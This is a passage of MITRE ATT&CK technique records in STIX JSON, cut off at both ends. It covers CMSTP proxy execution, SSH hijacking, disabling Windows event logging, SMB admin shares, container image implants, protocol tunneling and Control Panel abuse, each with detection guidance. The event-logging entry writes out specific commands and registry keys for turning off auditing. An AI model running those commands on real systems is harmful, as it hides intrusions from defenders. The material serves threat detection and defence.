"x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Command: Command Execution", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Anti-virus", "Application control"], "type": "attack-pattern", "id": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "created": "2020-01-23T18:27:30.656Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218/003", "external_id": "T1218.003"}, {"source_name": "Twitter CMSTP Usage Jan 2018", "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.", "url": "https://twitter.com/ItsReallyNick/status/958789644165894146"}, {"source_name": "Microsoft Connection Manager Oct 2009", "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.", "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)"}, {"source_name": "MSitPros CMSTP Aug 2017", "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", "url": "https://msitpros.com/?p=3960"}, {"source_name": "GitHub Ultimate AppLocker Bypass List", "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", "url": "https://github.com/api0cradle/UltimateAppLockerByPassList"}, {"source_name": "Endurant CMSTP July 2018", "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.", "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"}, {"source_name": "Twitter CMSTP Jan 2018", "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.", "url": "https://twitter.com/NickTyrer/status/958450014111633408"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Anastasios Pingios"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", "type": "attack-pattern", "created": "2020-02-25T18:34:38.290Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1563.001", "url": "https://attack.mitre.org/techniques/T1563/001"}, {"url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219", "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.", "source_name": "Slideshare Abusing SSH"}, {"url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf", "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.", "source_name": "SSHjack Blackhat"}, {"url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking", "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.", "source_name": "Clockwork SSH Agent Hijacking"}, {"source_name": "Breach Post-mortem SSH Hijack", "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident", "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020."}], "modified": "2020-03-23T23:11:24.682Z", "name": "SSH Hijacking", "description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "Network Traffic: Network Traffic Content", "Command: Command Execution", "Logon Session: Logon Session Creation", "Network Traffic: Network Traffic Flow"], "x_mitre_permissions_required": ["root"], "x_mitre_system_requirements": ["SSH service enabled, trust relationships configured, established connections"]}, {"modified": "2023-09-18T22:33:57.556Z", "name": "Disable Windows Event Logging", "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the \u201cStart\u201d value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team", "Lucas Heiligenstein"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering)  \n\nIn Event Viewer, Event ID 1102 under the \u201cSecurity\u201d Windows Log and Event ID 104 under the \u201cSystem\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Sensor Health: Host Status", "Command: Command Execution", "Windows Registry: Windows Registry Key Modification", "Script: Script Execution", "Process: Process Creation", "Windows Registry: Windows Registry Key Creation", "Application Log: Application Log Content"], "x_mitre_defense_bypassed": ["Log analysis"], "type": "attack-pattern", "id": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", "created": "2020-02-21T20:46:36.688Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/002", "external_id": "T1562.002"}, {"source_name": "Disable_Win_Event_Logging", "description": " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.", "url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging"}, {"source_name": "def_ev_win_event_logging", "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.", "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"}, {"source_name": "EventLog_Core_Technologies", "description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.", "url": "https://www.coretechnologies.com/blog/windows-services/eventlog/"}, {"source_name": "Audit_Policy_Microsoft", "description": "Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy"}, {"source_name": "Windows Log Events", "description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.", "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/"}, {"source_name": "disable_win_evt_logging", "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.", "url": "https://ptylu.github.io/content/report/report.html?report=25"}, {"source_name": "auditpol", "description": "Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol"}, {"source_name": "winser19_file_overwrite_bug_twitter", "description": "Naceri, A. (2021, November 7). Windows Server 2019 file overwrite bug. Retrieved April 7, 2022.", "url": "https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040"}, {"source_name": "T1562.002_redcanaryco", "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.", "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md"}, {"source_name": "Advanced_sec_audit_policy_settings", "description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings"}, {"source_name": "auditpol.exe_STRONTIC", "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.", "url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html"}, {"source_name": "evt_log_tampering", "description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.", "url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", "type": "attack-pattern", "created": "2017-05-31T21:30:34.139Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1029", "external_id": "T1029"}], "modified": "2020-03-28T00:26:48.769Z", "name": "Scheduled Transfer", "description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Connection Creation"], "x_mitre_is_subtechnique": false}, {"modified": "2023-07-28T17:34:51.250Z", "name": "SMB/Windows Admin Shares", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_deprecated": false, "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Network Share: Network Share Access", "Network Traffic: Network Traffic Flow", "Logon Session: Logon Session Creation", "Network Traffic: Network Connection Creation", "Process: Process Creation", "Command: Command Execution"], "x_mitre_system_requirements": ["SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account."], "type": "attack-pattern", "id": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "created": "2020-02-11T18:25:28.212Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/002", "external_id": "T1021.002"}, {"source_name": "Medium Detecting WMI Persistence", "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"}, {"source_name": "TechNet RPC", "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx"}, {"source_name": "Microsoft Admin Shares", "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.", "url": "http://support.microsoft.com/kb/314984"}, {"source_name": "Windows Event Forwarding Payne", "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.", "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem"}, {"source_name": "Lateral Movement Payne", "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.", "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"}, {"source_name": "Wikipedia Server Message Block", "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.", "url": "https://en.wikipedia.org/wiki/Server_Message_Block"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["IaaS", "Containers"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Yossi Weizman, Azure Defender Research Team", "Vishwas Manral, McAfee", "Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", "type": "attack-pattern", "created": "2019-09-04T12:04:03.552Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1525", "url": "https://attack.mitre.org/techniques/T1525"}, {"source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019", "url": "https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/", "description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019."}, {"source_name": "Rhino Labs Cloud Backdoor September 2019", "url": "https://github.com/RhinoSecurityLabs/ccat", "description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019."}], "modified": "2022-03-08T21:27:49.094Z", "name": "Implant Internal Image", "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\n\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ", "x_mitre_version": "2.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Image: Image Metadata", "Image: Image Creation", "Image: Image Modification"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "type": "attack-pattern", "created": "2020-03-15T16:03:39.082Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1572", "url": "https://attack.mitre.org/techniques/T1572"}, {"source_name": "SSH Tunneling", "url": "https://www.ssh.com/ssh/tunneling", "description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020."}, {"source_name": "BleepingComp Godlua JUL19", "url": "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/", "description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020."}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-27T17:15:35.372Z", "name": "Protocol Tunneling", "description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["ESET"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", "type": "attack-pattern", "created": "2020-01-23T19:59:52.630Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1218.002", "url": "https://attack.mitre.org/techniques/T1218/002"}, {"source_name": "Microsoft Implementing CPL", "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"}, {"url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.", "source_name": "TrendMicro CPL Malware Jan 2014"}, {"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.", "source_name": "TrendMicro CPL Malware Dec 2013"}, {"url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", "source_name": "Palo Alto Reaver Nov 2017"}, {"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2022-03-11T19:01:55.821Z", "name": "Control Panel", "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the <code>Control_RunDLL</code> and <code>ControlRunDLLAsUser</code> API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>CPLs</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in 